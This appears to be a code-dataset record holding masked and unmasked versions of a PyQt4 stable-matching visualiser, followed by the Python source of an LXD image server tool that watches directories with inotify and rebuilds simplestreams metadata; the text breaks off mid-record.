info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass Link(QtGui.QGraphicsLineItem):\n\n def __init__(self, name, link_type):\n super(Link, self).__init__()\n self.__link_type = link_type\n self.__name = name\n\n def getName(self):\n return self.__name\n\n def getType(self):\n return self.__link_type\n\n def changeType(self, link_type):\n self.__link_type = link_type\n\n def changeColor(self, color):\n p = QtGui.QPen()\n c = p.color()\n c.setRgb(color[0], color[1], color[2])\n p.setColor(c)\n self.setPen(p)\n\n\nclass Text(QtGui.QGraphicsTextItem):\n\n def __init__(self, name, text):\n super(Text, self).__init__(text)\n self.__name = name\n\n def getName(self):\n return self.__name\n\n\nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20, 3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n\n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP', self)\n epoch_button = QtGui.QPushButton('EPOCH', self)\n end_button = QtGui.QPushButton('END', self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene)\n self.statu_view.setMinimumSize(600, 600)\n self.statu_view.show()\n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600, 600)\n self.history_view.show()\n grid.addWidget(step_button, 1, 1)\n grid.addWidget(epoch_button, 2, 1)\n grid.addWidget(end_button, 3, 1)\n grid.addWidget(self.showText, 1, 2, 4, 1)\n grid.addWidget(self.statu_view, 1, 3, 4, 1)\n grid.addWidget(self.history_view, 1, 4, 4, 1)\n self.setLayout(grid)\n self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep)\n self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch)\n self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd)\n\n def initScene(self, scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num, woman_num) * 30\n scene.setSceneRect(0, 0, 600, length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20,\n (0, 0, 255))\n for i in range(woman_num):\n node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20,\n (255, 0, 0))\n\n def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x, y, w, h)\n node.changeBrush(color, 1)\n if int(number) < 10:\n number = '0' + number\n text = QtGui.QGraphicsTextItem(number, node)\n text.setPos(x, y)\n text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n text.setFont(font)\n rank_text = QtGui.QGraphicsTextItem(str(rank), node)\n rank_text.setPos(x + rank_bias * w, y)\n rank_text.setTextWidth(2 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n rank_text.setFont(font)\n spouse_text = Text(name + '_S', '-1')\n spouse_text.setPos(x + spouse_bias * w, y)\n spouse_text.setTextWidth(1.5 * w)\n font = QtGui.QFont('Times', 8)\n font.setWeight(99)\n spouse_text.setFont(font)\n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color=(0, 0, 0),\n link_type=''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(), center1.y(), center2.x(), center2.y())\n link.changeColor(color)\n scene.addItem(link)\n\n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n\n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2\n couple = statu.replace(' ', '').split('target')\n man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_' + couple[1], Node, self.statu_scene.\n items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ', '').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, link_type='marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S',\n str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S',\n str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ', '').split(\n 'threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node,\n self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node,\n self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' +\n throwCouple[0], node1, node2, (0, 255, 0), 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] +\n '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[\n 1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' +\n throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1],\n man, woman, (0, 0, 255), 'failed')\n self.statu_view.update()\n self.history_view.update()\n\n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info)\n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep + '\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep + '\\n' + record)\n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH' + record)\n self.showText.setText(info)\n\n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.\n QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\n\n<mask token>\n", "step-5": "# -*- coding:utf-8 -*- \nimport sys\nfrom PyQt4 import QtGui,QtCore\nimport experiment\n\nclass Node(QtGui.QGraphicsEllipseItem):\n def __init__(self,name):\n super(Node, self).__init__()\n self.__name = name\n \n def getName(self):\n return self.__name\n def changeBrush(self, color, style):\n b = QtGui.QBrush()\n b.setStyle(style)\n c = b.color()\n c.setRgb(color[0],color[1],color[2])\n b.setColor(c)\n self.setBrush(b)\n\nclass Link(QtGui.QGraphicsLineItem):\n def __init__(self,name,link_type):\n super(Link, self).__init__()\n self.__link_type = link_type\n self.__name = name\n def getName(self):\n return self.__name\n def getType(self):\n return self.__link_type\n def changeType(self,link_type):\n self.__link_type = link_type\n def changeColor(self,color):\n p = QtGui.QPen()\n c = p.color()\n c.setRgb(color[0],color[1],color[2])\n p.setColor(c)\n self.setPen(p)\n\nclass Text(QtGui.QGraphicsTextItem):\n def __init__(self,name,text):\n super(Text, self).__init__(text)\n self.__name = name\n def getName(self):\n return self.__name\n \nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20,3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n \n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP',self)\n epoch_button = QtGui.QPushButton('EPOCH',self)\n end_button = QtGui.QPushButton('END',self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene) \n self.statu_view.setMinimumSize(600,600)\n self.statu_view.show()\n \n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600,600)\n self.history_view.show()\n \n grid.addWidget(step_button,1,1)\n grid.addWidget(epoch_button,2,1)\n grid.addWidget(end_button,3,1)\n grid.addWidget(self.showText,1,2,4,1)\n grid.addWidget(self.statu_view,1,3,4,1)\n grid.addWidget(self.history_view,1,4,4,1)\n self.setLayout(grid)\n \n self.connect(step_button,QtCore.SIGNAL('clicked()'),self.nextStep)\n self.connect(epoch_button,QtCore.SIGNAL('clicked()'),self.nextEpoch)\n self.connect(end_button,QtCore.SIGNAL('clicked()'),self.exeToEnd)\n\n def initScene(self,scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num,woman_num) * 30\n scene.setSceneRect(0,0,600,length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_'+str(i),120,i*30,20,20,(0,0,255))\n \n for i in range(woman_num):\n node = self.__addNode(scene, 'W_'+str(i),480,i*30,20,20,(255,0,0))\n \n def __addNode(self, scene, name, x, y, w, h, color=(0,0,0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x,y,w,h)\n node.changeBrush(color,1)\n if int(number) < 10:\n number = '0' + number\n \n text = QtGui.QGraphicsTextItem (number, node)\n text.setPos(x,y)\n text.setTextWidth(1.5*w)\n font = QtGui.QFont('Times',8)\n font.setWeight(99)\n text.setFont(font)\n\n rank_text = QtGui.QGraphicsTextItem (str(rank), node)\n rank_text.setPos(x + rank_bias*w,y)\n rank_text.setTextWidth(2*w)\n font = QtGui.QFont('Times',8)\n font.setWeight(99)\n rank_text.setFont(font)\n\n spouse_text = Text(name+'_S', '-1')\n spouse_text.setPos(x + spouse_bias*w,y)\n spouse_text.setTextWidth(1.5*w)\n font = QtGui.QFont('Times',8)\n font.setWeight(99)\n spouse_text.setFont(font)\n \n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color = (0,0,0), link_type = ''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(),center1.y(),center2.x(),center2.y())\n link.changeColor(color)\n scene.addItem(link)\n \n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n \n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item,Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2 \n couple = statu.replace(' ','').split('target')\n man = self.__findItem('M_'+couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_'+couple[1], Node, self.statu_scene.items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ','').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ','').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ','').split('threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0,255,0) , 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0,0,255) , 'failed')\n self.statu_view.update()\n self.history_view.update()\n \n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info) \n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep+'\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep+'\\n'+record) \n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH'+record)\n \n self.showText.setText(info)\n \n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n gui = GUI()\n gui.show()\n sys.exit(app.exec_())\n", "step-ids": [ 18, 20, 23, 25, 32 ] }
[ 18, 20, 23, 25, 32 ]
import os import sys import re import traceback import logging import queue import threading from logging.handlers import TimedRotatingFileHandler from pathlib import Path import click import inotify.adapters from inotify.constants import (IN_ATTRIB, IN_DELETE, IN_MOVED_FROM, IN_MOVED_TO, IN_CLOSE_WRITE) from lxd_image_server.simplestreams.images import Images from lxd_image_server.tools.cert import generate_cert from lxd_image_server.tools.operation import Operations from lxd_image_server.tools.mirror import MirrorManager from lxd_image_server.tools.config import Config logger = logging.getLogger('lxd-image-server') event_queue = queue.Queue() def threaded(fn): def wrapper(*args, **kwargs): threading.Thread(target=fn, args=args, kwargs=kwargs).start() return wrapper def configure_log(log_file, verbose=False): filename = log_file if log_file == 'STDOUT': handler = logging.StreamHandler(sys.stdout) elif log_file == 'STDERR': handler = logging.StreamHandler(sys.stderr) else: handler = TimedRotatingFileHandler( filename, when="d", interval=7, backupCount=4) formatter = logging.Formatter('[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s') handler.setFormatter(formatter) logger.setLevel('DEBUG' if verbose else 'INFO') logger.addHandler(handler) def needs_update(events): modified_files = [] for event in list(events): if re.match('\d{8}_\d{2}:\d{2}', event[3]) or \ any(k in event[1] for k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE', 'IN_CLOSE_WRITE')): logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}' .format(event[2], event[3], event[1])) modified_files.append(event) return modified_files def config_inotify_setup(skipWatchingNonExistent: bool) -> inotify.adapters.Inotify: i = inotify.adapters.Inotify() watchedDirs = {} for p in Config.paths: if os.path.exists(p): if os.path.isfile(p): logger.debug("Watching existing config file {}".format(p)) i.add_watch(p, mask= inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_DELETE) else: logger.debug("Watching existing config directory {}".format(p)) i.add_watch(p) # SEEME: all events? elif not skipWatchingNonExistent: (d, n) = os.path.split(p) while not os.path.exists(d): (d, n) = os.path.split(d) if d not in watchedDirs: i.add_watch(d, inotify.constants.IN_DELETE | inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE) logger.debug("Watching directory {} as base for {}".format(d, p)) watchedDirs[d] = True return i @threaded def update_config(skipWatchingNonExistent = True): i = config_inotify_setup(skipWatchingNonExistent) while True: reload = False for event in i.event_gen(yield_nones=False): (_, mask, dir, file) = event fp = os.path.join(dir, file).rstrip(os.path.sep) for p in Config.paths: if p == fp or (dir == p): reload = True break if reload: break if reload: logger.debug("Will reload configuration") Config.reload_data() i = config_inotify_setup() MirrorManager.update_mirror_list() else: logger.debug("No need to reload configuration") @threaded def update_metadata(img_dir, streams_dir): MirrorManager.img_dir = img_dir MirrorManager.update_mirror_list() while True: events = event_queue.get() ops = Operations(events, str(Path(img_dir).resolve())) if ops: logger.info('Updating server: %s', ','.join( str(x) for x in ops.ops)) images = Images(str(Path(streams_dir).resolve()), logger=logger) images.update(ops.ops) images.save() MirrorManager.update() logger.info('Server updated') def fix_permissions(path): Path(path).chmod(0o775) for root, dirs, files in os.walk(path): for elem in files: Path(root, elem).chmod(0o775) for elem in dirs: Path(root, elem).chmod(0o775) @click.group() @click.option('--log-file', default='./lxd-image-server.log', show_default=True) @click.option('--verbose', help='Sets log level to debug', is_flag=True, default=False) def cli(log_file, verbose): configure_log(log_file, verbose) @cli.command() @click.option('--img_dir', default='/var/www/simplestreams/images', show_default=True, type=click.Path(exists=True, file_okay=False, resolve_path=True), callback=lambda ctx, param, val: Path(val)) @click.option('--streams_dir', default='/var/www/simplestreams/streams/v1', show_default=True, type=click.Path(exists=True, file_okay=False, resolve_path=True)) @click.pass_context def update(ctx, img_dir, streams_dir): logger.info('Updating server') img_dir = Path(img_dir).expanduser().resolve() streams_dir = Path(streams_dir).expanduser().resolve() images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=logger) # Generate a fake event to update all tree fake_events = [ (None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent), str(img_dir.name)) ] operations = Operations(fake_events, str(img_dir)) images.update(operations.ops) images.save() logger.info('Server updated') @cli.command() @click.option('--root_dir', default='/var/www/simplestreams', show_default=True) @click.option('--ssl_dir', default='/etc/nginx/ssl', show_default=True, callback=lambda ctx, param, val: Path(val)) @click.option('--ssl_skip', default=False, is_flag=True) @click.option('--nginx_skip', default=False, is_flag=True) @click.pass_context def init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip): root_dir = Path(root_dir).expanduser().resolve() if not Path(root_dir).exists(): logger.error('Root directory does not exists') else: if nginx_skip: ssl_skip = True if not ssl_skip: if not ssl_dir.exists(): os.makedirs(str(ssl_dir)) if not (ssl_dir / 'nginx.key').exists(): generate_cert(str(ssl_dir)) img_dir = str(Path(root_dir, 'images')) streams_dir = str(Path(root_dir, 'streams/v1')) if not Path(img_dir).exists(): os.makedirs(img_dir) if not Path(streams_dir).exists(): os.makedirs(streams_dir) if not nginx_skip: conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf') if not conf_path.exists(): conf_path.symlink_to( '/etc/nginx/sites-available/simplestreams.conf') os.system('nginx -s reload') if not Path(root_dir, 'streams', 'v1', 'images.json').exists(): ctx.invoke(update, img_dir=Path(root_dir, 'images'), streams_dir=Path(root_dir, 'streams', 'v1')) fix_permissions(img_dir) fix_permissions(streams_dir) @cli.command() @click.option('--img_dir', default='/var/www/simplestreams/images', show_default=True, type=click.Path(exists=True, file_okay=False, resolve_path=True)) @click.option('--streams_dir', default='/var/www/simplestreams/streams/v1', type=click.Path(exists=True, file_okay=False, resolve_path=True), show_default=True) @click.option('--skip-watch-config-non-existent', default=False, type=bool, is_flag=True) @click.pass_context def watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool): path_img_dir = str(Path(img_dir).expanduser().resolve()) path_streams_dir = str(Path(streams_dir).expanduser().resolve()) logger.info("Starting watch process") Config.load_data() # Lauch threads # SEEME: in case an event will come from watching config files, there is a race condition between update_config # thread using indirectly MirrorManager.img_dir and thread update_metadata setting MirrorManager.img_dir # Also, race condition on calling MirrorManager.update_mirror_list() in both threads. update_config(skip_watch_config_non_existent) update_metadata(path_img_dir, path_streams_dir) logger.debug("Watching image directory {}".format(path_img_dir)) i = inotify.adapters.InotifyTree(path_img_dir, mask=(IN_ATTRIB | IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)) while True: events = i.event_gen(yield_nones=False, timeout_s=15) files_changed = needs_update(events) if files_changed: event_queue.put(files_changed) def main(): try: sys.exit(cli()) except Exception: logger.error(traceback.format_exc()) sys.exit(1) if __name__ == '__main__': main()
normal
{ "blob_id": "3a96ede91069df0c71905415e598dbbd9d3056fd", "index": 9730, "step-1": "<mask token>\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\n<mask token>\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n<mask token>\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, 